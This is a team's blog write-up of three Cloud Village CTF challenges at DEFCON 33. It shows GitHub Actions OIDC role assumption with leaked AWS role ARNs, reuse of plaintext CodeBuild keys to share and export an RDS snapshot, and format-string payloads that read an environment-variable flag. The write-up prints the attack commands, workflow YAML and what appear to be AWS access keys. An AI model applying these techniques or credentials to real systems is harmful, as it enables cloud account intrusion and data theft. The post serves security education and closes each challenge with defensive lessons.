WriteUp: Cloud Village CTF DEFCON 33
Once again, we couldn't resist the call of a CTF scoreboard! π― This time, we participated in the Cloud Village CTF at DEFCON 33.
We managed to solve 13 out of 25 challenges and secured a Top 10 finish out of 146 teams!
Not bad for just three of us.. especially because we were also tweaking the final details for our Cloud Village workshop: Level Up Your CI/CD: Building a secure pipeline with OSS. π€―
We will talk more about this topic in future posts, in the meantime you can take a look at the workshop repository.
Now, let's get to the writeups! π€
Here's a walkthrough of three particularly interesting challenges that showcase different aspects of cloud security vulnerabilities: CI/CD misconfigurations, infrastructure drift, and classic binary exploitation but in cloud containers.
Action Theft Repo ~ 890
Initial Analysis
The challenge began with an S3 bucket containing an HTML file that referenced a GitHub organization: HEXNOVA404.
GitHub Actions Leak
Digging through the organization's repositories, we discovered a credentials leak in a GitHub Actions workflow log:
The workflow logs exposed two base64-encoded values:
- Role ARN:
YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=
- Secret ID:
aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==
Decoding these revealed an AWS role ARN and a secret ID:
echo 'YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=' | base64 -d
arn:aws:iam::170974506515:role/github-deployment-role
echo 'aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==' | base64 -d
internal/secrets/id-v2
Exploiting the GitHub OIDC Trust Relationship
This had all the vibes of last year's challenge Warden's Ruse, so we created a private fork and tried to assume the exposed role using OIDC and get the secret from AWS Secrets Manager.
name: ctf
on:
workflow_dispatch:
permissions:
id-token: write
contents: read
jobs:
tf:
runs-on: ubuntu-latest
steps:
- name: Configure AWS credentials via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::170974506515:role/github-deployment-role
role-session-name: github-deployment-role
aws-region: us-west-2
- name: Get secret
run: |
SECRET_JSON=$(aws secretsmanager get-secret-value \
--secret-id internal/secrets/id-v2 \
--region us-west-2 \
--query 'SecretString' \
--output text)
EXTID=$(echo "$SECRET_JSON" | jq -r '.external_id')
echo "extid: $EXTID"
This successfully retrieved an external ID from AWS Secrets Manager, yay! π
Second Assume Role
In parallel, we discovered a public gist within the same organization:
Inspecting the revision history we found deleted content containing:
- Another role ARN:
arn:aws:iam::170974506515:role/prod-readonly-auditor
- An S3 bucket name:
ci-deployment-logsv1
- A reference to the external ID requirement
Privilege Escalation and Flag Extraction
Using the external ID from the secret, we could now assume the production auditor role and get the flag from the S3 bucket:
- name: Assume role with external id and retrieve flag
run: |
# Assume the production auditor role using the external ID
CREDS=$(aws sts assume-role \
--role-arn "arn:aws:iam::170974506515:role/prod-readonly-auditor" \
--role-session-name "pivot" \
--external-id "$EXTID" \
--output json)
# Configure new credentials
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken')
# Access the S3 bucket and retrieve the flag
aws s3 cp s3://ci-deployment-logsv1/ci-deploy-output.log -
(well, to be fair we did first an aws s3 ls
to know the file name π
)
Boom! π₯ The flag was ours!
Real-World Impact
This challenge perfectly demonstrates a chain of vulnerabilities commonly found in real CI/CD pipelines:
- Public GitHub Actions logs exposing sensitive information
- Overly permissive OIDC trust relationships allowing any GitHub user to assume roles
- Sensitive information in revision history that are "deleted" but still accessible
Pipeline Drift ~ 870
Initial Analysis
"Drift" is a term used with infrastructure that has drifted away from its intended state, sometimes leaving security gaps. As we already had AWS credentials, we started with basic enumeration:
aws sts get-caller-identity
{
"UserId": "AIDAXMQAGGFOSPOD3JJXA",
"Account": "507880288605",
"Arn": "arn:aws:iam::507880288605:user/ctf_player"
}
Given the challenge description, we searched for CodeBuild projects across AWS regions using a simple script (check_codebuild_regions.sh):
bash check_codebuild_regions.sh
Checking CodeBuild projects across all default AWS regions...
==========================================================
Current AWS Identity:
{
"UserId": "AIDAXMQAGGFOSPOD3JJXA",
"Account": "507880288605",
"Arn": "arn:aws:iam::507880288605:user/ctf_player"
}
Checking region: us-east-1
β No projects found
Checking region: us-east-2
β No projects found
Checking region: us-west-1
β No projects found
Checking region: us-west-2
β
Found projects in us-west-2:
- legacy-project
^C
Found legacy-project
in the us-west-2
region. π
CodeBuild Misconfiguration
Checking the "legacy" CodeBuild project we saw it had some secrets in plaintext:
[...]
"environmentVariables": [
{
"name": "AWS_ACCESS_KEY_ID",
"value": "AKIAXMQAGGFO5DD6NFK7",
"type": "PLAINTEXT"
},
{
"name": "AWS_SECRET_ACCESS_KEY",
"value": "3Hlzlj+3h2w4Z7L5qZ6JmjRjs1WonB87ujw4nHVo",
"type": "PLAINTEXT"
}
],
[...]
Why did I decide to check this?
Well... Andoni talking here, I do work for Prowler, so I wanted to see if it could be helpful in the CTF. I was running it in parallel while I was testing stuff to see what possible misconfigurations CodeBuild service could have.
And it was helpful!
Infrastructure Archaeology
Using the leaked credentials, we discovered the "drift", some apparently leftover infrastructure that should have been cleaned up.
And of course I used Prowler again to enumerate which resources these new credentials could access.
The scan revealed an RDS snapshot named legacy-app-db-snapshot
, very suspicious π€¨.
Snapshot Exploitation
The snapshot was already shared with external accounts, so we added our own account to the access list:
aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier "legacy-app-db-snapshot" \
--attribute-name "restore" \
--values-to-add "[ACCOUNT_ID]" \
--region us-west-2
And instead of restoring the entire database, we exported the snapshot data to S3 for analysis:
aws s3 mb s3://rds-snapshot-export-ctf-analysis --region us-west-2
aws rds start-export-task \
--export-task-identifier "legacy-export-analysis" \
--source-arn "arn:aws:rds:us-west-2:507880288605:snapshot:legacy-app-db-snapshot" \
--s3-bucket-name "rds-snapshot-export-ctf-analysis" \
--iam-role-arn "arn:aws:iam::[ACCOUNT]:role/rds-snapshot-export-role" \
--region "us-west-2"
After downloading the exported Parquet files, we analyzed the database contents using an online Parquet viewer and found the flag in the secrets
table.
Real-World Impact
This challenge perfectly demonstrates why proper infrastructure lifecycle management is crucial. Old snapshots, unused resources, and orphaned data can become significant security liabilities.
And once again, do not hardcode credentials, please.
TimeBomb ~ 850
Initial Analysis
This challenge took us back to classic binary exploitation fundamentals, but in a containerized cloud environment. The challenge provided a Docker container with a C binary.
Code Analysis
Examining the source code revealed the vulnerability:
void vuln() {
char buffer[512];
puts("[-----------------------------------------]");
puts("[ TIMEBOMB TERMINAL: TERMINAL INTERFACE ]");
puts("[-----------------------------------------]");
puts(" [CLASSIFIED] Authorization required...");
printf("Enter your OVERRIDE CODE: ");
fflush(stdout);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer); // (1)!
printf("\n[-] Done.\n");
fflush(stdout);
exit(0);
}
- Format String Vulnerability: The
printf(buffer)
call directly prints user input without a format specifier.
Vulnerability Confirmation
We confirmed the format string bug with a simple test:
# Input
%x.%x.%x.%x.%x.%x.%x.%x
# This revealed stack contents in hexadecimal, confirming the vulnerability
To locate our input on the stack:
# Input
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
# Found our input (AAAA = 0x41414141) at stack position 6
Claude Code was very helpful providing guidance and scripts to quickly test the ideas. All of them can be found here.
Stack Layout Discovery
By systematically leaking positions (%1$p
, %2$p
, etc.), we can map out:
- Our input location (position 6) - where "AAAA" appears
- Return addresses - code pointers we might overwrite
- Libc addresses (positions 18-19) - reveal ASLR base
- Environment pointers - might point to FLAG variable
- Stack addresses - potential write targets
Let's see if we can find the flag in the environment variables:
# Systematic environment variable extraction
%105$s # AWS_EXECUTION_ENV=AWS_ECS_FARGATE
%110$s # LAMBDA_URL=https://yavdhl4qozqpiugwirgyfhj4hm0hpykh.lambda-url.us-west-1.on.aws/
%115$s # FLAG=FLAG-{Reverse7heBombt0trigg3rflagc4fb5} β
The flag was hiding in plain sight at stack position 115!
Real-World Impact
Even in containerized cloud environments, "classic" vulnerabilities like this one remain relevant. Container isolation doesn't usually protect against application-level vulnerabilities.
Repository & Additional Challenges
We've prepared a repository with writeups for the other challenges we solved, created with the amazing help of @sanchezpaco and @pedroot, who solved most of the challenges. π
You can find it here: CTF Cloud Village DEFCON 33 .
Wrapping Up
The Cloud Village CTF continues to demonstrate that cloud security requires understanding both traditional security fundamentals and modern cloud-native attack vectors.
Special shoutout to the Cloud Village organizers for another excellent CTF that combines realistic cloud scenarios with engaging technical challenges.
By the way, this is us the first day at the DEFCON entrance. Writing this post I just realized we were so immersed in the CTF that we didn't take any picture of us playing it π.
If you have any questions about our solutions or want to discuss these attack vectors further, don't hesitate to reach out!
Saludos, and may the force be with you.